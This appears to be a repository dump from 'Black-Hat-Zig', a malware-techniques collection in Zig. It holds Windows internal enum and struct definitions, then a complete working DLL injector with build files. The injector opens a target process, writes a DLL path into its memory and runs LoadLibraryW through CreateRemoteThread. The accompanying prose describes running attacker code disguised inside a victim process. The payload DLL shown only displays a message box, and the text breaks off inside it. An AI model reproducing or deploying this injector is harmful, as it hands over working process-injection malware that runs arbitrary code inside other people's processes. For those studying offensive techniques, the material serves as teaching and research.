SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation) SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170 SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION SystemCodeIntegrityPolicyFullInformation, SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege) SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2 SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION SystemWin32WerStartCallout, SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180 SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2 SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute) SystemKernelDebuggingAllowed, // s: ULONG SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS SystemCodeIntegrityPoliciesFullInformation, SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190 SystemIntegrityQuotaInformation, SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3 SystemSecureDumpEncryptionInformation, SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4 SystemFirmwareBootPerformanceInformation, SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200 SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above. SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5 SystemCodeIntegrityUnlockModeInformation, SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1 SystemCodeIntegritySyntheticCacheInformation, SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210 SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION SystemSpacesBootInformation, // since 20H2 SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION SystemWheaIpmiHardwareInformation, SystemDifSetRuleClassInformation, SystemDifClearRuleClassInformation, SystemDifApplyPluginVerificationOnDriver, SystemDifRemovePluginVerificationOnDriver, // 220 SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege) SystemCodeIntegrityAddDynamicStore, SystemCodeIntegrityClearDynamicStores, SystemDifPoolTrackingInformation, SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION SystemDpcWatchdogInformation, SystemDpcWatchdogInformation2, SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230 SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor) SystemXfgCheckFailureInformation, SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1 SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION SystemSecureKernelDebuggerInformation, SystemOriginalImageFeatureInformation, MaxSystemInfoClass, }; // https://processhacker.sourceforge.io/doc/ntbasic_8h.html pub const KPRIORITY = LONG; // https://doxygen.reactos.org/da/df4/struct__SYSTEM__PROCESS__INFORMATION.html pub const SYSTEM_PROCESS_INFORMATION = extern struct { NextEntryOffset: ULONG, NumberOfThreads: ULONG, WorkingSetPrivateSize: LARGE_INTEGER, // VISTA HardFaultCount: ULONG, // WIN7 NumberOfThreadsHighWatermark: ULONG, // WIN7 CycleTime: ULONGLONG, // WIN7 CreateTime: LARGE_INTEGER, UserTime: LARGE_INTEGER, KernelTime: LARGE_INTEGER, ImageName: UNICODE_STRING, BasePriority: KPRIORITY, UniqueProcessId: HANDLE, InheritedFromUniqueProcessId: HANDLE, HandleCount: ULONG, SessionId: ULONG, PageDirectoryBase: ULONG_PTR, // VM_COUNTERS_EX part // NOTE: *NOT* THE SAME AS VM_COUNTERS! PeakVirtualSize: SIZE_T, VirtualSize: SIZE_T, PageFaultCount: ULONG, PeakWorkingSetSize: SIZE_T, WorkingSetSize: SIZE_T, QuotaPeakPagedPoolUsage: SIZE_T, QuotaPagedPoolUsage: SIZE_T, QuotaPeakNonPagedPoolUsage: SIZE_T, QuotaNonPagedPoolUsage: SIZE_T, PagefileUsage: SIZE_T, PeakPagefileUsage: SIZE_T, PrivatePageCount: SIZE_T, // IO_COUNTERS part ReadOperationCount: LARGE_INTEGER, WriteOperationCount: LARGE_INTEGER, OtherOperationCount: LARGE_INTEGER, ReadTransferCount: LARGE_INTEGER, WriteTransferCount: LARGE_INTEGER, OtherTransferCount: LARGE_INTEGER, // SYSTEM_THREAD_INFORMATION TH[1]; - Usually accessed separately }; // Pointer types (equivalent to your typedefs) pub const PUNICODE_STRING = *UNICODE_STRING; pub const PSYSTEM_PROCESS_INFORMATION = *SYSTEM_PROCESS_INFORMATION; // Export commonly used constants pub const SystemProcessInformation = SYSTEM_INFORMATION_CLASS.SystemProcessInformation; ``` ## /src/Malware-Techniques/Process-Injection/dll_injection.md # DLL Injection ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Injection/dll_injection) DLL injection forces a target process to load an external dynamic library. By allocating space for the DLL path and invoking `LoadLibrary` via a remote thread, attackers can execute arbitrary code inside the victim process. This technique allows the malicious DLL to share the target's privileges and resources while remaining disguised as part of the normal application. The code example writes the path of a crafted DLL into the remote process and starts a new thread so the library gets loaded and its exported functions run in that context. ## Code Walkthrough ```zig title="main.zig" const std = @import("std"); const windows = std.os.windows; const kernel = windows.kernel32; const print = std.debug.print; // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = windows.LPVOID; const LPCWSTR = windows.LPCWSTR; const SIZE_T = windows.SIZE_T; // Process access rights const PROCESS_ALL_ACCESS = 0x001F0FFF; const PROCESS_CREATE_THREAD = 0x0002; const PROCESS_QUERY_INFORMATION = 0x0400; const PROCESS_VM_OPERATION = 0x0008; const PROCESS_VM_WRITE = 0x0020; const PROCESS_VM_READ = 0x0010; // Memory allocation constants const MEM_COMMIT = windows.MEM_COMMIT; const MEM_RESERVE = windows.MEM_RESERVE; const PAGE_READWRITE = windows.PAGE_READWRITE; // Snapshot constants const TH32CS_SNAPPROCESS = windows.TH32CS_SNAPPROCESS; const INVALID_HANDLE_VALUE = windows.INVALID_HANDLE_VALUE; // Process entry structure const PROCESSENTRY32W = extern struct { dwSize: DWORD, cntUsage: DWORD, th32ProcessID: DWORD, th32DefaultHeapID: usize, th32ModuleID: DWORD, cntThreads: DWORD, th32ParentProcessID: DWORD, pcPriClassBase: i32, dwFlags: DWORD, szExeFile: [260]u16, }; // Windows API function declarations const CreateToolhelp32Snapshot = kernel.CreateToolhelp32Snapshot; extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE; const GetModuleHandleW = kernel.GetModuleHandleW; const GetProcAddress = kernel.GetProcAddress; extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID; const WriteProcessMemory = windows.WriteProcessMemory; extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE; const GetLastError = windows.GetLastError; const CloseHandle = windows.CloseHandle; extern "kernel32" fn GetExitCodeThread(HANDLE, *DWORD) BOOL; // Helper function to wait for Enter key fn waitForEnter(message: []const u8) void { print("{s}", .{message}); var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } // Convert UTF-8 string to wide string fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 { return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str); } // Compare wide strings (case-insensitive) fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool { return windows.eqlIgnoreCaseWTF16(str1, str2); } // Get remote process PID by name (simplified to return just PID) fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD { const wide_process_name = try convertToWideString(allocator, process_name); defer allocator.free(wide_process_name); print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name}); const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()}); return error.SnapshotFailed; } defer _ = CloseHandle(snapshot); var process_entry = std.mem.zeroes(PROCESSENTRY32W); process_entry.dwSize = @sizeOf(PROCESSENTRY32W); if (Process32FirstW(snapshot, &process_entry) == 0) { print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()}); return error.ProcessEnumFailed; } while (true) { var exe_name_len: usize = 0; while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) { exe_name_len += 1; } const exe_name = process_entry.szExeFile[0..exe_name_len]; if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) { print("[+] DONE \n", .{}); print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID}); return process_entry.th32ProcessID; } if (Process32NextW(snapshot, &process_entry) == 0) { break; } } print("[!] Process is Not Found \n", .{}); return error.ProcessNotFound; } // Main DLL injection function fn injectDllToRemoteProcess(h_process: HANDLE, dll_name: [:0]u16) BOOL { var h_thread: ?HANDLE = null; defer { if (h_thread) |thread| { _ = CloseHandle(thread); } } // Calculate the size of DllName in bytes const dw_size_to_write = (std.mem.len(dll_name.ptr) + 1) * @sizeOf(u16); // Get the address of LoadLibraryW from kernel32.dll const kernel32_handle = GetModuleHandleW(std.unicode.utf8ToUtf16LeStringLiteral("kernel32.dll")) orelse { print("[!] GetModuleHandleW Failed With Error: {d}\n", .{GetLastError()}); return 0; }; const p_load_library_w = GetProcAddress(kernel32_handle, "LoadLibraryW") orelse { print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()}); return 0; }; // Allocate memory in the remote process const p_address = VirtualAllocEx( h_process, null, dw_size_to_write, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ) orelse { print("[!] VirtualAllocEx Failed With Error: {d}\n", .{GetLastError()}); return 0; }; print("[i] pAddress Allocated At : 0x{x} Of Size : {d}\n", .{ @intFromPtr(p_address), dw_size_to_write }); waitForEnter("[#] Press <Enter> To Write ... "); // Cast to bytes (UTF-16), including the null terminator const bytes = std.mem.sliceAsBytes(@as([*]u16, @ptrCast(dll_name))[0 .. dw_size_to_write / 2]); // Write the DLL name to the remote process memory const write_result = WriteProcessMemory( h_process, p_address, bytes, ) catch { print("[!] WriteProcessMemory Failed With Error: {d}\n", .{GetLastError()}); return 0; }; if (write_result != dw_size_to_write) { print("[!] Expected to write: {d} bytes, actually wrote: {d} bytes\n", .{ dw_size_to_write, write_result }); return 0; } print("[i] Successfully Written {d} Bytes\n", .{write_result}); waitForEnter("[#] Press <Enter> To Run ... "); print("[i] Executing Payload ... \n", .{}); // Create a remote thread to execute LoadLibraryW with our DLL path h_thread = CreateRemoteThread( h_process, null, 0, @ptrCast(p_load_library_w), p_address, 0, null, ) orelse { print("[!] CreateRemoteThread Failed With Error: {d}\n", .{GetLastError()}); return 0; }; windows.WaitForSingleObject(h_thread.?, windows.INFINITE) catch { print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()}); }; var exit_code: DWORD = 0; if (GetExitCodeThread(h_thread.?, &exit_code) == 0) { print("[!] GetExitCodeThread failed: {}\n", .{GetLastError()}); return 1; } else if (exit_code == 0) { print("[!] LoadLibraryW returned NULL (DLL not found / load error)\n", .{}); return 1; } print("[+] DONE!\n", .{}); print("[+] DLL Injection Completed Successfully!\n", .{}); return 1; // TRUE } // Print usage information fn printUsage(program_name: []const u8) void { print("[!] Usage : \"{s}\" <Complete DLL Payload Path> <Process Name>\n", .{program_name}); } pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); const args = try std.process.argsAlloc(allocator); defer std.process.argsFree(allocator, args); if (args.len != 3) { printUsage(args[0]); std.process.exit(1); } const dll_path = args[1]; const process_name = args[2]; // It must be an absolute directory in order to run const absolute = try std.fs.cwd().realpathAlloc(allocator, dll_path); defer allocator.free(absolute); // Find target process PID const target_pid = try getRemoteProcessPid(allocator, process_name); // Open target process const target_process = OpenProcess( PROCESS_ALL_ACCESS, 0, // bInheritHandle = FALSE target_pid, // Now using just the PID (DWORD) ) orelse { print("[!] OpenProcess Failed With Error: {d}\n", .{GetLastError()}); print("[!] Try running as Administrator or check process permissions.\n", .{}); std.process.exit(1); }; defer _ = CloseHandle(target_process); // Convert DLL path to wide string const wide_dll_path = try convertToWideString(allocator, absolute); defer allocator.free(wide_dll_path); // Inject DLL const injection_result = injectDllToRemoteProcess(target_process, wide_dll_path); if (injection_result == 1) { print("\n", .{}); print("SUCCESS! DLL injection completed successfully!\n", .{}); print("Your payload should now be running in the target process!\n", .{}); } else { print("\n", .{}); print("FAILED! DLL injection was not successful.\n", .{}); print("Check the error messages above for details.\n", .{}); std.process.exit(1); } waitForEnter("\n[#] Press <Enter> To Exit ... "); } ``` ## /src/Malware-Techniques/Process-Injection/dll_injection/build.zig ```zig path="/src/Malware-Techniques/Process-Injection/dll_injection/build.zig" const std = @import("std"); pub fn build(b: *std.Build) void { const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows, }, }); const optimize = b.standardOptimizeOption(.{}); // 1. Build the Payload DLL (from root.zig) const payload_dll = b.addSharedLibrary(.{ .name = "payload_dll", .root_source_file = b.path("src/root.zig"), .target = target, .optimize = optimize, }); // Link Windows libraries for the DLL payload_dll.linkSystemLibrary("kernel32"); payload_dll.linkSystemLibrary("user32"); // Install the DLL b.installArtifact(payload_dll); // 2. Build the DLL Injector executable (from main.zig) const injector_exe = b.addExecutable(.{ .name = "dll_injector", .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); // Link Windows libraries for the injector injector_exe.linkSystemLibrary("kernel32"); injector_exe.linkSystemLibrary("user32"); // Install the injector b.installArtifact(injector_exe); // 3. Create run step for the injector const run_cmd = b.addRunArtifact(injector_exe); run_cmd.step.dependOn(b.getInstallStep()); // Pass arguments to the application if (b.args) |args| { run_cmd.addArgs(args); } const run_step = b.step("run", "Run the DLL injector"); run_step.dependOn(&run_cmd.step); // 4. Alternative run steps with specific names const inject_step = b.step("inject", "Run the DLL injector"); inject_step.dependOn(&run_cmd.step); // 5. Build step to ensure both DLL and injector are built const build_all_step = b.step("build-all", "Build both payload DLL and injector"); build_all_step.dependOn(&payload_dll.step); build_all_step.dependOn(&injector_exe.step); // 6. Unit tests const dll_tests = b.addTest(.{ .root_source_file = b.path("src/root.zig"), .target = target, .optimize = optimize, }); const injector_tests = b.addTest(.{ .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); const run_dll_tests = b.addRunArtifact(dll_tests); const run_injector_tests = b.addRunArtifact(injector_tests); const test_step = b.step("test", "Run all unit tests"); test_step.dependOn(&run_dll_tests.step); test_step.dependOn(&run_injector_tests.step); } ``` ## /src/Malware-Techniques/Process-Injection/dll_injection/build.zig.zon ```zon path="/src/Malware-Techniques/Process-Injection/dll_injection/build.zig.zon" .{ // This is the default name used by packages depending on this one. For // example, when a user runs `zig fetch --save <url>`, this field is used // as the key in the `dependencies` table. Although the user can choose a // different name, most users will stick with this provided value. // // It is redundant to include "zig" in this name because it is already // within the Zig package namespace. .name = .dll_injection, // This is a [Semantic Version](https://semver.org/). // In a future version of Zig it will be used for package deduplication. .version = "0.0.0", // Together with name, this represents a globally unique package // identifier. This field is generated by the Zig toolchain when the // package is first created, and then *never changes*. This allows // unambiguous detection of one package being an updated version of // another. // // When forking a Zig project, this id should be regenerated (delete the // field and run `zig build`) if the upstream project is still maintained. // Otherwise, the fork is *hostile*, attempting to take control over the // original project's identity. Thus it is recommended to leave the comment // on the following line intact, so that it shows up in code reviews that // modify the field. .fingerprint = 0x894ff703f008d40b, // Changing this has security and trust implications. // Tracks the earliest Zig version that the package considers to be a // supported use case. .minimum_zig_version = "0.14.0", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. // `zig build --fetch` can be used to fetch all dependencies of a package, recursively. // Once all dependencies are fetched, `zig build` no longer requires // internet connectivity. .dependencies = .{ // See `zig fetch --save <url>` for a command-line interface for adding dependencies. //.example = .{ // // When updating this field to a new URL, be sure to delete the corresponding // // `hash`, otherwise you are communicating that you expect to find the old hash at // // the new URL. If the contents of a URL change this will result in a hash mismatch // // which will prevent zig from using it. // .url = "https://example.com/foo.tar.gz", // // // This is computed from the file contents of the directory of files that is // // obtained after fetching `url` and applying the inclusion rules given by // // `paths`. // // // // This field is the source of truth; packages do not come from a `url`; they // // come from a `hash`. `url` is just one of many possible mirrors for how to // // obtain a package matching this `hash`. // // // // Uses the [multihash](https://multiformats.io/multihash/) format. // .hash = "...", // // // When this is provided, the package is found in a directory relative to the // // build root. In this case the package's hash is irrelevant and therefore not // // computed. This field and `url` are mutually exclusive. // .path = "foo", // // // When this is set to `true`, a package is declared to be lazily // // fetched. This makes the dependency only get fetched if it is // // actually used. // .lazy = false, //}, }, // Specifies the set of files and directories that are included in this package. // Only files and directories listed here are included in the `hash` that // is computed for this package. Only files listed here will remain on disk // when using the zig package manager. As a rule of thumb, one should list // files required for compilation plus any license(s). // Paths are relative to the build root. Use the empty string (`""`) to refer to // the build root itself. // A directory listed here means that all files within, recursively, are included. .paths = .{ "build.zig", "build.zig.zon", "src", // For example... //"LICENSE", //"README.md", }, } ``` ## /src/Malware-Techniques/Process-Injection/dll_injection/src/main.zig ```zig path="/src/Malware-Techniques/Process-Injection/dll_injection/src/main.zig" const std = @import("std"); const windows = std.os.windows; const kernel = windows.kernel32; const print = std.debug.print; // Windows API types const HANDLE = windows.HANDLE; const DWORD = windows.DWORD; const BOOL = windows.BOOL; const LPVOID = windows.LPVOID; const LPCWSTR = windows.LPCWSTR; const SIZE_T = windows.SIZE_T; // Process access rights const PROCESS_ALL_ACCESS = 0x001F0FFF; const PROCESS_CREATE_THREAD = 0x0002; const PROCESS_QUERY_INFORMATION = 0x0400; const PROCESS_VM_OPERATION = 0x0008; const PROCESS_VM_WRITE = 0x0020; const PROCESS_VM_READ = 0x0010; // Memory allocation constants const MEM_COMMIT = windows.MEM_COMMIT; const MEM_RESERVE = windows.MEM_RESERVE; const PAGE_READWRITE = windows.PAGE_READWRITE; // Snapshot constants const TH32CS_SNAPPROCESS = windows.TH32CS_SNAPPROCESS; const INVALID_HANDLE_VALUE = windows.INVALID_HANDLE_VALUE; // Process entry structure const PROCESSENTRY32W = extern struct { dwSize: DWORD, cntUsage: DWORD, th32ProcessID: DWORD, th32DefaultHeapID: usize, th32ModuleID: DWORD, cntThreads: DWORD, th32ParentProcessID: DWORD, pcPriClassBase: i32, dwFlags: DWORD, szExeFile: [260]u16, }; // Windows API function declarations const CreateToolhelp32Snapshot = kernel.CreateToolhelp32Snapshot; extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE; const GetModuleHandleW = kernel.GetModuleHandleW; const GetProcAddress = kernel.GetProcAddress; extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID; const WriteProcessMemory = windows.WriteProcessMemory; extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE; const GetLastError = windows.GetLastError; const CloseHandle = windows.CloseHandle; extern "kernel32" fn GetExitCodeThread(HANDLE, *DWORD) BOOL; // Helper function to wait for Enter key fn waitForEnter(message: []const u8) void { print("{s}", .{message}); var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } // Convert UTF-8 string to wide string fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 { return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str); } // Compare wide strings (case-insensitive) fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool { return windows.eqlIgnoreCaseWTF16(str1, str2); } // Get remote process PID by name (simplified to return just PID) fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD { const wide_process_name = try convertToWideString(allocator, process_name); defer allocator.free(wide_process_name); print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name}); const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) { print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()}); return error.SnapshotFailed; } defer _ = CloseHandle(snapshot); var process_entry = std.mem.zeroes(PROCESSENTRY32W); process_entry.dwSize = @sizeOf(PROCESSENTRY32W); if (Process32FirstW(snapshot, &process_entry) == 0) { print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()}); return error.ProcessEnumFailed; } while (true) { var exe_name_len: usize = 0; while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) { exe_name_len += 1; } const exe_name = process_entry.szExeFile[0..exe_name_len]; if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) { print("[+] DONE \n", .{}); print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID}); return process_entry.th32ProcessID; } if (Process32NextW(snapshot, &process_entry) == 0) { break; } } print("[!] Process is Not Found \n", .{}); return error.ProcessNotFound; } // Main DLL injection function fn injectDllToRemoteProcess(h_process: HANDLE, dll_name: [:0]u16) BOOL { var h_thread: ?HANDLE = null; defer { if (h_thread) |thread| { _ = CloseHandle(thread); } } // Calculate the size of DllName in bytes const dw_size_to_write = (std.mem.len(dll_name.ptr) + 1) * @sizeOf(u16); // Get the address of LoadLibraryW from kernel32.dll const kernel32_handle = GetModuleHandleW(std.unicode.utf8ToUtf16LeStringLiteral("kernel32.dll")) orelse { print("[!] GetModuleHandleW Failed With Error: {d}\n", .{GetLastError()}); return 0; }; const p_load_library_w = GetProcAddress(kernel32_handle, "LoadLibraryW") orelse { print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()}); return 0; }; // Allocate memory in the remote process const p_address = VirtualAllocEx( h_process, null, dw_size_to_write, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ) orelse { print("[!] VirtualAllocEx Failed With Error: {d}\n", .{GetLastError()}); return 0; }; print("[i] pAddress Allocated At : 0x{x} Of Size : {d}\n", .{ @intFromPtr(p_address), dw_size_to_write }); waitForEnter("[#] Press <Enter> To Write ... "); // Cast to bytes (UTF-16), including the null terminator const bytes = std.mem.sliceAsBytes(@as([*]u16, @ptrCast(dll_name))[0 .. dw_size_to_write / 2]); // Write the DLL name to the remote process memory const write_result = WriteProcessMemory( h_process, p_address, bytes, ) catch { print("[!] WriteProcessMemory Failed With Error: {d}\n", .{GetLastError()}); return 0; }; if (write_result != dw_size_to_write) { print("[!] Expected to write: {d} bytes, actually wrote: {d} bytes\n", .{ dw_size_to_write, write_result }); return 0; } print("[i] Successfully Written {d} Bytes\n", .{write_result}); waitForEnter("[#] Press <Enter> To Run ... "); print("[i] Executing Payload ... \n", .{}); // Create a remote thread to execute LoadLibraryW with our DLL path h_thread = CreateRemoteThread( h_process, null, 0, @ptrCast(p_load_library_w), p_address, 0, null, ) orelse { print("[!] CreateRemoteThread Failed With Error: {d}\n", .{GetLastError()}); return 0; }; windows.WaitForSingleObject(h_thread.?, windows.INFINITE) catch { print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()}); }; var exit_code: DWORD = 0; if (GetExitCodeThread(h_thread.?, &exit_code) == 0) { print("[!] GetExitCodeThread failed: {}\n", .{GetLastError()}); return 1; } else if (exit_code == 0) { print("[!] LoadLibraryW returned NULL (DLL not found / load error)\n", .{}); return 1; } print("[+] DONE!\n", .{}); print("[+] DLL Injection Completed Successfully!\n", .{}); return 1; // TRUE } // Print usage information fn printUsage(program_name: []const u8) void { print("[!] Usage : \"{s}\" <Complete DLL Payload Path> <Process Name>\n", .{program_name}); } pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); const args = try std.process.argsAlloc(allocator); defer std.process.argsFree(allocator, args); if (args.len != 3) { printUsage(args[0]); std.process.exit(1); } const dll_path = args[1]; const process_name = args[2]; // It must be an absolute directory in order to run const absolute = try std.fs.cwd().realpathAlloc(allocator, dll_path); defer allocator.free(absolute); // Find target process PID const target_pid = try getRemoteProcessPid(allocator, process_name); // Open target process const target_process = OpenProcess( PROCESS_ALL_ACCESS, 0, // bInheritHandle = FALSE target_pid, // Now using just the PID (DWORD) ) orelse { print("[!] OpenProcess Failed With Error: {d}\n", .{GetLastError()}); print("[!] Try running as Administrator or check process permissions.\n", .{}); std.process.exit(1); }; defer _ = CloseHandle(target_process); // Convert DLL path to wide string const wide_dll_path = try convertToWideString(allocator, absolute); defer allocator.free(wide_dll_path); // Inject DLL const injection_result = injectDllToRemoteProcess(target_process, wide_dll_path); if (injection_result == 1) { print("\n", .{}); print("SUCCESS! DLL injection completed successfully!\n", .{}); print("Your payload should now be running in the target process!\n", .{}); } else { print("\n", .{}); print("FAILED! DLL injection was not successful.\n", .{}); print("Check the error messages above for details.\n", .{}); std.process.exit(1); } waitForEnter("\n[#] Press <Enter> To Exit ... "); } ``` ## /src/Malware-Techniques/Process-Injection/dll_injection/src/root.zig ```zig path="/src/Malware-Techniques/Process-Injection/dll_injection/src/root.zig" const std = @import("std"); const windows = std.os.windows; // Windows API types const HINSTANCE = windows.HINSTANCE; const DWORD = windows.DWORD; const LPVOID = *anyopaque; const BOOL = windows.BOOL; // DLL reasons const DLL_PROCESS_ATTACH: DWORD = 1; const DLL_THREAD_ATTACH: DWORD = 2; const DLL_THREAD_DETACH: DWORD = 3; const DLL_PROCESS_DETACH: DWORD = 0; // MessageBox constants const MB_OK: u32 = 0x00000000; const MB_ICONINFORMATION: u32 = 0x00000040; // Windows API functions extern "user32" fn MessageBoxA( hWnd: ?windows.HWND, lpText: [*:0]const u8, lpCaption: [*:0]const u8, uType: u32, ) callconv(.C) i32; fn msgBoxPayload() void { _ = MessageBoxA( null, "Please give Black-Hat-Zig a star!", "Malware!", MB_OK | MB_ICONINFORMATION, ); } // DllMain has to be public pub export fn DllMain(hModule: HINSTANCE, dwReason: DWORD, lpReserved: 